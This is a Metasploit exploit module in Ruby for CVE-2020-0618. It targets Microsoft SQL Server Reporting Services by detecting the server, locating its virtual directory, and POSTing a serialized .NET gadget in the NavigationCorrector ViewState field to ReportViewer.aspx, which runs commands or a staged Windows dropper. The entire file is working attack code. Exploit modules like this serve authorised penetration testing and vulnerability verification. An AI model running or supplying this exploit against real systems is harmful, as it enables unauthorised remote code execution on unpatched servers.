##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'SQL Server Reporting Services (SSRS) ViewState Deserialization',
'Description' => %q{
A vulnerability exists within Microsoft's SQL Server Reporting Services
which can allow an attacker to craft an HTTP POST request with a
serialized object to achieve remote code execution. The vulnerability is
due to the fact that the serialized blob is not signed by the server.
},
'Author' => [
'Soroush Dalili', # discovery and original PoC
'Spencer McIntyre' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-0618'],
['URL', 'https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows (x86)', { 'Arch' => ARCH_X86, 'Type' => :windows_dropper } ],
[ 'Windows (x64)', { 'Arch' => ARCH_X64, 'Type' => :windows_dropper } ],
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ]
],
'DefaultTarget' => 1,
'DisclosureDate' => '2020-02-11',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
'Privileged' => true,
))
register_options([
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/Reports' ]),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
])
register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
])
end
def send_api_request(*parts)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'v1.0', *parts),
'headers' => {
'Accept' => 'application/json',
},
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
if res&.code == 200 && res.headers['Content-Type'].strip.start_with?('application/json;')
return res.get_json_document
end
end
def check
json_response = send_api_request('ReportServerInfo', 'Model.SiteName')
return CheckCode::Unknown unless json_response && json_response['value'] == 'SQL Server Reporting Services'
CheckCode::Detected
end
def exploit
fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected
json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory')
fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil?
directory = json_response['value']
vprint_status("Detected the report server virtual directory as: #{directory}")
state = {vd: directory}
if target['Type'] == :windows_command
execute_command(payload.encoded, state: state)
else
cmd_target = targets.select { |target| target['Type'] == :windows_command }.first
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
end
end
def execute_command(cmd, opts)
state = opts[:state]
viewstate = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(cmd))
res = send_request_cgi({
'uri' => normalize_uri(state[:vd], 'Pages', 'ReportViewer.aspx'),
'method' => 'POST',
'vars_post' => {
'NavigationCorrector$PageState' => 'NeedsCorrection',
'NavigationCorrector$ViewState' => viewstate,
'__VIEWSTATE' => ''
},
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
unless res&.code == 200
print_error('Non-200 HTTP response received while trying to execute the command')
end
end
end
